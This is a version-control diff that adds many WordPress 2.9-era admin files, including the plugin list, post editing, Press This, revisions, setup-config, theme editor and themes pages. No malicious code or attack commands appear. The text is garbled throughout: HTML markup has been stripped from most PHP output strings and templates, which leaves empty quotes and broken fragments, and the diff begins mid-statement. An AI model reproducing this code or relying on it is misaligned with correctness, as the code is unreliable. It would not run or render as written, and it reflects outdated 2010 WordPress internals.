false; + } + $status = 'search'; + $search_plugins = array_filter($all_plugins, '_search_plugins_filter_callback'); + $total_search_plugins = count($search_plugins); +} + +$plugin_array_name = "${status}_plugins"; +if ( empty($$plugin_array_name) && $status != 'all' ) { + $status = 'all'; + $plugin_array_name = "${status}_plugins"; +} + +$plugins = &$$plugin_array_name; + +//Paging. +$total_this_page = "total_{$status}_plugins"; +$total_this_page = $$total_this_page; +$plugins_per_page = (int) get_user_option( 'plugins_per_page', 0, false ); +if ( empty( $plugins_per_page ) || $plugins_per_page < 1 ) + $plugins_per_page = 999; +$plugins_per_page = apply_filters( 'plugins_per_page', $plugins_per_page ); + +$start = ($page - 1) * $plugins_per_page; + +$page_links = paginate_links( array( + 'base' => add_query_arg( 'paged', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil($total_this_page / $plugins_per_page), + 'current' => $page +)); +$page_links_text = sprintf( '' . __( 'Displaying %s–%s of %s' ) . '%s', + number_format_i18n( $start + 1 ), + number_format_i18n( min( $page * $plugins_per_page, $total_this_page ) ), + '' . number_format_i18n( $total_this_page ) . '', + $page_links +); + +/** + * @ignore + * + * @param array $plugins + * @param string $context + */ +function print_plugins_table($plugins, $context = '') { + global $page; +?> + + + + + + + + + + + + + + + + + + + + + '; + } + foreach ( (array)$plugins as $plugin_file => $plugin_data) { + $actions = array(); + $is_active = is_plugin_active($plugin_file); + + if ( $is_active ) + $actions[] = '' . __('Deactivate') . ''; + else + $actions[] = '' . __('Activate') . ''; + + if ( current_user_can('edit_plugins') && is_writable(WP_PLUGIN_DIR . '/' . $plugin_file) ) + $actions[] = '' . __('Edit') . ''; + + if ( ! $is_active && current_user_can('delete_plugins') ) + $actions[] = '' . __('Delete') . ''; + + $actions = apply_filters( 'plugin_action_links', $actions, $plugin_file, $plugin_data, $context ); + $actions = apply_filters( "plugin_action_links_$plugin_file", $actions, $plugin_file, $plugin_data, $context ); + $action_count = count($actions); + $class = $is_active ? 'active' : 'inactive'; + echo " + + + + + + + + + + \n"; + + do_action( 'after_plugin_row', $plugin_file, $plugin_data, $context ); + do_action( "after_plugin_row_$plugin_file", $plugin_file, $plugin_data, $context ); + } +?> + +
    ' . __('No plugins to show') . '
    {$plugin_data['Name']}

    {$plugin_data['Description']}

    "; + echo '
    '; + foreach ( $actions as $action => $link ) { + $sep = end($actions) == $link ? '' : ' | '; + echo "$link$sep"; + } + echo "
    "; + $plugin_meta = array(); + if ( !empty($plugin_data['Version']) ) + $plugin_meta[] = sprintf(__('Version %s'), $plugin_data['Version']); + if ( !empty($plugin_data['Author']) ) { + $author = $plugin_data['Author']; + if ( !empty($plugin_data['AuthorURI']) ) + $author = '' . $plugin_data['Author'] . ''; + $plugin_meta[] = sprintf( __('By %s'), $author ); + } + if ( ! empty($plugin_data['PluginURI']) ) + $plugin_meta[] = '' . __('Visit plugin site') . ''; + + $plugin_meta = apply_filters('plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $context); + echo implode(' | ', $plugin_meta); + echo "
    + +
    + + + + + +
    + + +
    + +
    + +
    + + + + + + +
    +', $page_links_text, '
    '; + +print_plugin_actions($status); +?> +
    +
    + $plugins_per_page ) + $plugins = array_slice($plugins, $start, $plugins_per_page); + + print_plugins_table($plugins, $status); +?> +
    +$page_links_text
    "; + +print_plugin_actions($status, "action2"); +?> +
    + + + +

    + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/post-new.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/post-new.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,40 @@ + +
    +

    edit_posts capability to your user, in order to be authorized to post.
    +You can also e-mail the admin to ask for a promotion.
    +When you’re promoted, just reload this page and you’ll be able to blog. :)'), get_option('admin_email')); ?> +

    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/post.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/post.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,263 @@ +ID) ) + wp_die( __('You attempted to edit a post that doesn’t exist. Perhaps it was deleted?') ); + + if ( !current_user_can('edit_post', $post_ID) ) + wp_die( __('You are not allowed to edit this post.') ); + + if ( 'trash' == $post->post_status ) + wp_die( __('You can’t edit this post because it is in the Trash. Please restore it and try again.') ); + + if ( 'post' != $post->post_type ) { + wp_redirect( get_edit_post_link( $post->ID, 'url' ) ); + exit(); + } + + wp_enqueue_script('post'); + if ( user_can_richedit() ) + wp_enqueue_script('editor'); + add_thickbox(); + wp_enqueue_script('media-upload'); + wp_enqueue_script('word-count'); + wp_enqueue_script( 'admin-comments' ); + enqueue_comment_hotkeys_js(); + + if ( $last = wp_check_post_lock( $post->ID ) ) { + add_action('admin_notices', '_admin_notice_post_locked' ); + } else { + wp_set_post_lock( $post->ID ); + wp_enqueue_script('autosave'); + } + + $title = __('Edit Post'); + $post = get_post_to_edit($post_ID); + + include('edit-form-advanced.php'); + + break; + +case 'editattachment': + $post_id = (int) $_POST['post_ID']; + + check_admin_referer('update-attachment_' . $post_id); + + // Don't let these be changed + unset($_POST['guid']); + $_POST['post_type'] = 'attachment'; + + // Update the thumbnail filename + $newmeta = wp_get_attachment_metadata( $post_id, true ); + $newmeta['thumb'] = $_POST['thumb']; + + wp_update_attachment_metadata( $post_id, $newmeta ); + +case 'editpost': + $post_ID = (int) $_POST['post_ID']; + check_admin_referer('update-post_' . $post_ID); + + $post_ID = edit_post(); + + redirect_post($post_ID); // Send user on their way while we keep working + + exit(); + break; + +case 'trash': + $post_id = isset($_GET['post']) ? intval($_GET['post']) : intval($_POST['post_ID']); + check_admin_referer('trash-post_' . $post_id); + + $post = & get_post($post_id); + + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to move this post to the trash.') ); + + if ( ! wp_trash_post($post_id) ) + wp_die( __('Error in moving to trash...') ); + + wp_redirect( add_query_arg( array('trashed' => 1, 'ids' => $post_id), $sendback ) ); + exit(); + break; + +case 'untrash': + $post_id = isset($_GET['post']) ? intval($_GET['post']) : intval($_POST['post_ID']); + check_admin_referer('untrash-post_' . $post_id); + + $post = & get_post($post_id); + + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to move this post out of the trash.') ); + + if ( ! wp_untrash_post($post_id) ) + wp_die( __('Error in restoring from trash...') ); + + wp_redirect( add_query_arg('untrashed', 1, $sendback) ); + exit(); + break; + +case 'delete': + $post_id = (isset($_GET['post'])) ? intval($_GET['post']) : intval($_POST['post_ID']); + check_admin_referer('delete-post_' . $post_id); + + $post = & get_post($post_id); + + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to delete this post.') ); + + $force = !EMPTY_TRASH_DAYS; + if ( $post->post_type == 'attachment' ) { + $force = ( $force || !MEDIA_TRASH ); + if ( ! wp_delete_attachment($post_id, $force) ) + wp_die( __('Error in deleting...') ); + } else { + if ( !wp_delete_post($post_id, $force) ) + wp_die( __('Error in deleting...') ); + } + + wp_redirect( add_query_arg('deleted', 1, $sendback) ); + exit(); + break; + +case 'preview': + check_admin_referer( 'autosave', 'autosavenonce' ); + + $url = post_preview(); + + wp_redirect($url); + exit(); + break; + +default: + wp_redirect('edit.php'); + exit(); + break; +} // end switch +include('admin-footer.php'); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/press-this.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/press-this.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,597 @@ + $image) { + // see if files exist in content - we don't want to upload non-used selected files. + if ( strpos($_POST['content'], htmlspecialchars($image)) !== false ) { + $desc = isset($_POST['photo_description'][$key]) ? $_POST['photo_description'][$key] : ''; + $upload = media_sideload_image($image, $post_ID, $desc); + + // Replace the POSTED content with correct uploaded ones. Regex contains fix for Magic Quotes + if( !is_wp_error($upload) ) + $content = preg_replace('/]*)src=\\\?(\"|\')'.preg_quote(htmlspecialchars($image), '/').'\\\?(\2)([^>\/]*)\/*>/is', $upload, $content); + } + } + } + // set the post_content and status + $quick['post_status'] = isset($_POST['publish']) ? 'publish' : 'draft'; + $quick['post_content'] = $content; + // error handling for media_sideload + if ( is_wp_error($upload) ) { + wp_delete_post($post_ID); + wp_die($upload); + } else { + $quick['ID'] = $post_ID; + wp_update_post($quick); + } + return $post_ID; +} + +// For submitted posts. +if ( isset($_REQUEST['action']) && 'post' == $_REQUEST['action'] ) { + check_admin_referer('press-this'); + $post_ID = press_it(); + $posted = $post_ID; +} else { + $post_ID = 0; +} + +// Set Variables +$title = isset( $_GET['t'] ) ? trim( strip_tags( aposfix( stripslashes( $_GET['t'] ) ) ) ) : ''; +$selection = isset( $_GET['s'] ) ? trim( htmlspecialchars( html_entity_decode( aposfix( stripslashes( $_GET['s'] ) ) ) ) ) : ''; +if ( ! empty($selection) ) { + $selection = preg_replace('/(\r?\n|\r)/', '

    ', $selection); + $selection = '

    '.str_replace('

    ', '', $selection).'

    '; +} + +$url = isset($_GET['u']) ? esc_url($_GET['u']) : ''; +$image = isset($_GET['i']) ? $_GET['i'] : ''; + +if ( !empty($_REQUEST['ajax']) ) { + switch ($_REQUEST['ajax']) { + case 'video': ?> + +
    +

    +
    + +

    +
    +
    + + +

    +
    +
    + +
    +
    + +

    + + + <?php echo esc_attr(__('Click to insert.')); ?> + +

    + +

    + + +

    +
    +
    + +
    +
    +

    +
    +
    + +
    +
    + +

    |

    + ]*)src=(\"|\')([^<>\'\"]+)(\2)([^>]*)\/*>/i'; + $content = str_replace(array("\n","\t","\r"), '', $content); + preg_match_all($pattern, $content, $matches); + if ( empty($matches[0]) ) + return ''; + $sources = array(); + foreach ($matches[3] as $src) { + // if no http in url + if(strpos($src, 'http') === false) + // if it doesn't have a relative uri + if( strpos($src, '../') === false && strpos($src, './') === false && strpos($src, '/') === 0) + $src = 'http://'.str_replace('//','/', $host['host'].'/'.$src); + else + $src = 'http://'.str_replace('//','/', $host['host'].'/'.dirname($host['path']).'/'.$src); + $sources[] = esc_attr($src); + } + return "'" . implode("','", $sources) . "'"; + } + $url = wp_kses(urldecode($url), null); + echo 'new Array('.get_images_from_uri($url).')'; + break; + + case 'photo_js': ?> + // gather images and load some default JS + var last = null + var img, img_tag, aspect, w, h, skip, i, strtoappend = ""; + if(photostorage == false) { + var my_src = eval( + jQuery.ajax({ + type: "GET", + url: "", + cache : false, + async : false, + data: "ajax=photo_images&u=", + dataType : "script" + }).responseText + ); + if(my_src.length == 0) { + var my_src = eval( + jQuery.ajax({ + type: "GET", + url: "", + cache : false, + async : false, + data: "ajax=photo_images&u=", + dataType : "script" + }).responseText + ); + if(my_src.length == 0) { + strtoappend = ''; + } + } + } + for (i = 0; i < my_src.length; i++) { + img = new Image(); + img.src = my_src[i]; + img_attr = 'id="img' + i + '"'; + skip = false; + + maybeappend = ''; + + if (img.width && img.height) { + if (img.width >= 30 && img.height >= 30) { + aspect = img.width / img.height; + scale = (aspect > 1) ? (71 / img.width) : (71 / img.height); + + w = img.width; + h = img.height; + + if (scale < 1) { + w = parseInt(img.width * scale); + h = parseInt(img.height * scale); + } + img_attr += ' style="width: ' + w + 'px; height: ' + h + 'px;"'; + strtoappend += maybeappend; + } + } else { + strtoappend += maybeappend; + } + } + + function pick(img, desc) { + if (img) { + if('object' == typeof jQuery('.photolist input') && jQuery('.photolist input').length != 0) length = jQuery('.photolist input').length; + if(length == 0) length = 1; + jQuery('.photolist').append(''); + jQuery('.photolist').append(''); + insert_editor( "\n\n" + encodeURI('

    ' + desc + '

    ')); + } + return false; + } + + function image_selector() { + tb_remove(); + desc = jQuery('#this_photo_description').val(); + src = jQuery('#this_photo').val(); + pick(src, desc); + jQuery('#extra-fields').hide(); + jQuery('#extra-fields').html(''); + return false; + } + jQuery('#extra-fields').html('

    Add Photos ()

    '); + jQuery('#img_container').html(strtoappend); + + + > + + + <?php _e('Press This') ?> + + + + + '370' ) ); +?> + + + + +
    +
    +
    +
    +

    + + + + + + + + +
    + +
    +
    +
    +
    +

    +
    +

    + + + + +

    + + +

    +
    +
    + +
    +
    +
    +
    +

    +
    + +
    + +
      + +
    +
    + +
    + +

    + + 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('Parent category'), 'tab_index' => 3 ) ); ?> + + + +

    +
    +
    +
    + +
    +
    +
    +
    +

    +
    +
    +

    + + +

    + + +
    +

    +
    +
    + +
    +
    +
    +
    +
    + +

    | |

    + + +
    +
    + +
    +
    + + + +
    +
      + +
    • + Add: +<?php _e('Insert an Image'); ?> + +
    • +
    • + <?php _e('Embed a Video'); ?> +
    • + +
    • + + + + +
      +
    • + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/profile.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/profile.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,19 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/revision.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/revision.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,220 @@ +post_parent ) ) + break; + if ( !$post = get_post( $revision->post_parent ) ) + break; + + if ( !constant('WP_POST_REVISIONS') && !wp_is_post_autosave( $revision ) ) // Revisions disabled and we're not looking at an autosave + break; + + check_admin_referer( "restore-post_$post->ID|$revision->ID" ); + + wp_restore_post_revision( $revision->ID ); + $redirect = add_query_arg( array( 'message' => 5, 'revision' => $revision->ID ), get_edit_post_link( $post->ID, 'url' ) ); + break; +case 'diff' : + if ( !$left_revision = get_post( $left ) ) + break; + if ( !$right_revision = get_post( $right ) ) + break; + + if ( !current_user_can( 'read_post', $left_revision->ID ) || !current_user_can( 'read_post', $right_revision->ID ) ) + break; + + // If we're comparing a revision to itself, redirect to the 'view' page for that revision or the edit page for that post + if ( $left_revision->ID == $right_revision->ID ) { + $redirect = get_edit_post_link( $left_revision->ID ); + include( 'js/revisions-js.php' ); + break; + } + + // Don't allow reverse diffs? + if ( strtotime($right_revision->post_modified_gmt) < strtotime($left_revision->post_modified_gmt) ) { + $redirect = add_query_arg( array( 'left' => $right, 'right' => $left ) ); + break; + } + + if ( $left_revision->ID == $right_revision->post_parent ) // right is a revision of left + $post =& $left_revision; + elseif ( $left_revision->post_parent == $right_revision->ID ) // left is a revision of right + $post =& $right_revision; + elseif ( $left_revision->post_parent == $right_revision->post_parent ) // both are revisions of common parent + $post = get_post( $left_revision->post_parent ); + else + break; // Don't diff two unrelated revisions + + if ( !constant('WP_POST_REVISIONS') ) { // Revisions disabled + if ( + // we're not looking at an autosave + ( !wp_is_post_autosave( $left_revision ) && !wp_is_post_autosave( $right_revision ) ) + || + // we're not comparing an autosave to the current post + ( $post->ID !== $left_revision->ID && $post->ID !== $right_revision->ID ) + ) + break; + } + + if ( + // They're the same + $left_revision->ID == $right_revision->ID + || + // Neither is a revision + ( !wp_get_post_revision( $left_revision->ID ) && !wp_get_post_revision( $right_revision->ID ) ) + ) + break; + + $post_title = '' . get_the_title() . ''; + $h2 = sprintf( __( 'Compare Revisions of “%1$s”' ), $post_title ); + + $left = $left_revision->ID; + $right = $right_revision->ID; + + $redirect = false; + break; +case 'view' : +default : + if ( !$revision = wp_get_post_revision( $revision_id ) ) + break; + if ( !$post = get_post( $revision->post_parent ) ) + break; + + if ( !current_user_can( 'read_post', $revision->ID ) || !current_user_can( 'read_post', $post->ID ) ) + break; + + if ( !constant('WP_POST_REVISIONS') && !wp_is_post_autosave( $revision ) ) // Revisions disabled and we're not looking at an autosave + break; + + $post_title = '' . get_the_title() . ''; + $revision_title = wp_post_revision_title( $revision, false ); + $h2 = sprintf( __( 'Post Revision for “%1$s” created on %2$s' ), $post_title, $revision_title ); + + // Sets up the diff radio buttons + $left = $revision->ID; + $right = $post->ID; + + $redirect = false; + break; +endswitch; + +if ( !$redirect && !in_array( $post->post_type, array( 'post', 'page' ) ) ) + $redirect = 'edit.php'; + +if ( $redirect ) { + wp_redirect( $redirect ); + exit; +} + +if ( 'page' == $post->post_type ) { + $submenu_file = 'edit-pages.php'; + $title = __( 'Page Revisions' ); +} else { + $submenu_file = 'edit.php'; + $title = __( 'Post Revisions' ); +} + +require_once( 'admin-header.php' ); + +?> + +
    + +

    + + + + + + + + + $field_title ) : + if ( 'diff' == $action ) { + $left_content = apply_filters( "_wp_post_revision_field_$field", $left_revision->$field, $field ); + $right_content = apply_filters( "_wp_post_revision_field_$field", $right_revision->$field, $field ); + if ( !$content = wp_text_diff( $left_content, $right_content ) ) + continue; // There is no difference between left and right + $identical = false; + } else { + add_filter( "_wp_post_revision_field_$field", 'htmlspecialchars' ); + $content = apply_filters( "_wp_post_revision_field_$field", $revision->$field, $field ); + } + ?> + + + + + + + + + + + + +
    + + +

    + +
    + +

    + + 'form-table', 'parent' => true, 'right' => $right, 'left' => $left ); +if ( !constant( 'WP_POST_REVISIONS' ) ) + $args['type'] = 'autosave'; + +wp_list_post_revisions( $post, $args ); + +?> + +
    + +The file 'wp-config.php' already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try installing now.

    "); + +// Check if wp-config.php exists above the root directory but is not part of another install +if (file_exists(ABSPATH . '../wp-config.php') && ! file_exists(ABSPATH . '../wp-settings.php')) + wp_die("

    The file 'wp-config.php' already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try installing now.

    "); + +if ( version_compare( '4.3', phpversion(), '>' ) ) + wp_die( sprintf( /*WP_I18N_OLD_PHP*/'Your server is running PHP version %s but WordPress requires at least 4.3.'/*/WP_I18N_OLD_PHP*/, phpversion() ) ); + +if ( !extension_loaded('mysql') && !file_exists(ABSPATH . 'wp-content/db.php') ) + wp_die( /*WP_I18N_OLD_MYSQL*/'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.'/*/WP_I18N_OLD_MYSQL*/ ); + +if (isset($_GET['step'])) + $step = $_GET['step']; +else + $step = 0; + +/** + * Display setup wp-config.php file header. + * + * @ignore + * @since 2.3.0 + * @package WordPress + * @subpackage Installer_WP_Config + */ +function display_header() { + header( 'Content-Type: text/html; charset=utf-8' ); +?> + + + + +WordPress › Setup Configuration File + + + + +

    WordPress

    + + +

    Welcome to WordPress. Before getting started, we need some information on the database. You will need to know the following items before proceeding.

    +
      +
    1. Database name
    2. +
    3. Database username
    4. +
    5. Database password
    6. +
    7. Database host
    8. +
    9. Table prefix (if you want to run more than one WordPress in a single database)
    10. +
    +

    If for any reason this automatic file creation doesn't work, don't worry. All this does is fill in the database information to a configuration file. You may also simply open wp-config-sample.php in a text editor, fill in your information, and save it as wp-config.php.

    +

    In all likelihood, these items were supplied to you by your Web Host. If you do not have this information, then you will need to contact them before you can continue. If you’re all ready…

    + +

    Let’s go!

    + +
    +

    Below you should enter your database connection details. If you're not sure about these, contact your host.

    + + + + + + + + + + + + + + + + + + + + + + + + + + +
    The name of the database you want to run WP in.
    Your MySQL username
    ...and MySQL password.
    99% chance you won't need to change this value.
    If you want to run multiple WordPress installations in a single database, change this.
    +

    +
    +error) ) + wp_die($wpdb->error->get_error_message()); + + foreach ($configFile as $line_num => $line) { + switch (substr($line,0,16)) { + case "define('DB_NAME'": + $configFile[$line_num] = str_replace("putyourdbnamehere", $dbname, $line); + break; + case "define('DB_USER'": + $configFile[$line_num] = str_replace("'usernamehere'", "'$uname'", $line); + break; + case "define('DB_PASSW": + $configFile[$line_num] = str_replace("'yourpasswordhere'", "'$passwrd'", $line); + break; + case "define('DB_HOST'": + $configFile[$line_num] = str_replace("localhost", $dbhost, $line); + break; + case '$table_prefix =': + $configFile[$line_num] = str_replace('wp_', $prefix, $line); + break; + } + } + if ( ! is_writable(ABSPATH) ) : + display_header(); +?> +

    Sorry, but I can't write the wp-config.php file.

    +

    You can create the wp-config.php manually and paste the following text into it.

    + +

    After you've done that, click "Run the install."

    +

    Run the install

    + +

    All right sparky! You've made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to…

    + +

    Run the install

    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,128 @@ + + + + +<?php bloginfo('name') ?> › <?php _e('Sidebar'); ?> + + + + +
    +
    + + + + + +

    ' . __('Post published.') . '

    '; +elseif ( 'c' == $_GET['a'] ) + echo '

    ' . __('Post saved.') . '

    '; +?> +

    + + +

    + +

    + + +

    + +
    + + +

    +
    + +

    + + + + +

    +
    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/theme-editor.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/theme-editor.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,244 @@ +'.__('You do not have sufficient permissions to edit templates for this blog.').'

    '); + +$title = __("Edit Themes"); +$parent_file = 'themes.php'; + +wp_reset_vars(array('action', 'redirect', 'profile', 'error', 'warning', 'a', 'file', 'theme', 'dir')); + +wp_admin_css( 'theme-editor' ); + +$themes = get_themes(); + +if (empty($theme)) { + $theme = get_current_theme(); +} else { + $theme = stripslashes($theme); +} + +if ( ! isset($themes[$theme]) ) + wp_die(__('The requested theme does not exist.')); + +$allowed_files = array_merge($themes[$theme]['Stylesheet Files'], $themes[$theme]['Template Files']); + +if (empty($file)) { + $file = $allowed_files[0]; +} else { + $file = stripslashes($file); + if ( 'theme' == $dir ) { + $file = dirname(dirname($themes[$theme]['Template Dir'])) . $file ; + } else if ( 'style' == $dir) { + $file = dirname(dirname($themes[$theme]['Stylesheet Dir'])) . $file ; + } +} + +validate_file_to_edit($file, $allowed_files); +$scrollto = isset($_REQUEST['scrollto']) ? (int) $_REQUEST['scrollto'] : 0; +$file_show = basename( $file ); + +switch($action) { + +case 'update': + + check_admin_referer('edit-theme_' . $file . $theme); + + $newcontent = stripslashes($_POST['newcontent']); + $theme = urlencode($theme); + if (is_writeable($file)) { + //is_writable() not always reliable, check return value. see comments @ http://uk.php.net/is_writable + $f = fopen($file, 'w+'); + if ($f !== FALSE) { + fwrite($f, $newcontent); + fclose($f); + $location = "theme-editor.php?file=$file&theme=$theme&a=te&scrollto=$scrollto"; + } else { + $location = "theme-editor.php?file=$file&theme=$theme&scrollto=$scrollto"; + } + } else { + $location = "theme-editor.php?file=$file&theme=$theme&scrollto=$scrollto"; + } + + $location = wp_kses_no_null($location); + $strip = array('%0d', '%0a', '%0D', '%0A'); + $location = _deep_replace($strip, $location); + header("Location: $location"); + exit(); + +break; + +default: + + require_once('admin-header.php'); + + update_recently_edited($file); + + if ( !is_file($file) ) + $error = 1; + + if ( !$error && filesize($file) > 0 ) { + $f = fopen($file, 'r'); + $content = fread($f, filesize($file)); + + if ( '.php' == substr( $file, strrpos( $file, '.' ) ) ) { + $functions = wp_doc_link_parse( $content ); + + $docs_select = ''; + } + + $content = htmlspecialchars( $content ); + $codepress_lang = codepress_get_lang($file); + } + + ?> + +

    +$description (%s)" : "%s"; +?> +
    + +

    + +
    +
    + +
    +
    +
    + + + +
    +
    +
    +
    +
    +

    + + +

    +
      +($template_show)" : "$description"; + $filedesc = ( $template_file == $file ) ? "$description ($template_show)" : $filedesc; + + // If we have two files of the same name prefer the one in the Template Directory + // This means that we display the correct files for child themes which overload Templates as well as Styles + if( array_key_exists($description, $template_mapping ) ) { + if ( false !== strpos( $template_file, $template_dir ) ) { + $template_mapping[ $description ] = array( _get_template_edit_filename($template_file, $template_dir), $filedesc ); + } + } else { + $template_mapping[ $description ] = array( _get_template_edit_filename($template_file, $template_dir), $filedesc ); + } + } + ksort( $template_mapping ); + while ( list( $template_sorted_key, list( $template_file, $filedesc ) ) = each( $template_mapping ) ) : + ?> +
    • &theme=&dir=theme">
    • + +
    +

    +
      +($style_show)" : "$description"; + $filedesc = ( $style_file == $file ) ? "$description ($style_show)" : $filedesc; + $template_mapping[ $description ] = array( _get_template_edit_filename($style_file, $stylesheet_dir), $filedesc ); + } + ksort( $template_mapping ); + while ( list( $template_sorted_key, list( $style_file, $filedesc ) ) = each( $template_mapping ) ) : + ?> +
    • &theme=&dir=style">
    • + +
    + +
    + +
    + +
    + + + + +
    + +
    + + + +
    + + +
    + +

    +"; +?> +

    + +

    the Codex for more information.'); ?>

    + +
    +
    +

    ' . __('Oops, no such file exists! Double check the name and try again, merci.') . '

    '; + } +?> +
    +
    + + +
    + +

    + +
      + $text ) { + $sep = ( end($tabs) != $text ) ? ' | ' : ''; + $class = ( $action == $tab ) ? ' class="current"' : ''; + $href = admin_url('theme-install.php?tab='. $action); + echo "\t\t
    • $text$sep
    • \n"; +} +?> +
    +
    + +
    +' . __('Themes give your WordPress style. Once a theme is installed, you may preview it, activate it or deactivate it here.') . '

    '; +if ( current_user_can('install_themes') ) { + $help .= '

    ' . sprintf(__('You can find additional themes for your site by using the new Theme Browser/Installer functionality or by browsing the WordPress Theme Directory directly and installing manually. To install a theme manually, upload its ZIP archive with the new uploader or copy its folder via FTP into your wp-content/themes directory.'), 'theme-install.php', 'theme-install.php?tab=upload' ) . '

    '; + $help .= '

    ' . __('Once a theme is uploaded, you should see it on this page.') . '

    ' ; +} + +add_contextual_help('themes', $help); + +add_thickbox(); +wp_enqueue_script( 'theme-preview' ); + +require_once('admin-header.php'); +?> + + +

    + +

    widgets settings page to configure them.'), admin_url('widgets.php') ); ?>

    +

    Visit site'), get_bloginfo('url') . '/'); ?>

    +

    + + +name]); + +uksort( $themes, "strnatcasecmp" ); +$theme_total = count( $themes ); +$per_page = 15; + +if ( isset( $_GET['pagenum'] ) ) + $page = absint( $_GET['pagenum'] ); + +if ( empty($page) ) + $page = 1; + +$start = $offset = ( $page - 1 ) * $per_page; + +$page_links = paginate_links( array( + 'base' => add_query_arg( 'pagenum', '%#%' ) . '#themenav', + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil($theme_total / $per_page), + 'current' => $page +)); + +$themes = array_slice( $themes, $start, $per_page ); + +/** + * Check if there is an update for a theme available. + * + * Will display link, if there is an update available. + * + * @since 2.7.0 + * + * @param object $theme Theme data object. + * @return bool False if no valid info was passed. + */ +function theme_update_available( $theme ) { + static $themes_update; + if ( !isset($themes_update) ) + $themes_update = get_transient('update_themes'); + + if ( is_object($theme) && isset($theme->stylesheet) ) + $stylesheet = $theme->stylesheet; + elseif ( is_array($theme) && isset($theme['Stylesheet']) ) + $stylesheet = $theme['Stylesheet']; + else + return false; //No valid info passed. + + if ( isset($themes_update->response[ $stylesheet ]) ) { + $update = $themes_update->response[ $stylesheet ]; + $theme_name = is_object($theme) ? $theme->name : (is_array($theme) ? $theme['Name'] : ''); + $details_url = add_query_arg(array('TB_iframe' => 'true', 'width' => 1024, 'height' => 800), $update['url']); //Theme browser inside WP? replace this, Also, theme preview JS will override this on the available list. + $update_url = wp_nonce_url('update.php?action=upgrade-theme&theme=' . urlencode($stylesheet), 'upgrade-theme_' . $stylesheet); + $update_onclick = 'onclick="if ( confirm(\'' . esc_js( __("Upgrading this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to upgrade.") ) . '\') ) {return true;}return false;"'; + + if ( ! current_user_can('update_themes') ) + printf( '

    ' . __('There is a new version of %1$s available. View version %3$s Details.') . '

    ', $theme_name, $details_url, $update['new_version']); + else if ( empty($update->package) ) + printf( '

    ' . __('There is a new version of %1$s available. View version %3$s Details automatic upgrade unavailable for this theme.') . '

    ', $theme_name, $details_url, $update['new_version']); + else + printf( '

    ' . __('There is a new version of %1$s available. View version %3$s Details or upgrade automatically.') . '

    ', $theme_name, $details_url, $update['new_version'], $update_url, $update_onclick ); + } +} + +?> + +
    + +

    + +

    +
    +screenshot ) : ?> +<?php _e('Current theme preview'); ?> + +

    title, $ct->version, $ct->author) ; ?>

    +

    description; ?>

    +parent_theme) { ?> +

    %2$s. The stylesheet files are located in %3$s. %4$s uses templates from %5$s. Changes made to the templates will affect both themes.'), $ct->title, str_replace( WP_CONTENT_DIR, '', $ct->template_dir ), str_replace( WP_CONTENT_DIR, '', $ct->stylesheet_dir ), $ct->title, $ct->parent_theme); ?>

    + +

    %2$s.'), $ct->title, str_replace( WP_CONTENT_DIR, '', $ct->template_dir ), str_replace( WP_CONTENT_DIR, '', $ct->stylesheet_dir ) ); ?>

    + +tags ) : ?> +

    tags); ?>

    + + + +
    + +
    +

    +
    + + + + +
    +
    ' . __( 'Displaying %s–%s of %s' ) . '%s', + number_format_i18n( $start + 1 ), + number_format_i18n( min( $page * $per_page, $theme_total ) ), + number_format_i18n( $theme_total ), + $page_links +); echo $page_links_text; ?>
    +
    + + + + $cols ) { +?> + + $theme_name ) { + $class = array('available-theme'); + if ( $row == 1 ) $class[] = 'top'; + if ( $col == 1 ) $class[] = 'left'; + if ( $row == $rows ) $class[] = 'bottom'; + if ( $col == 3 ) $class[] = 'right'; +?> + + + + +
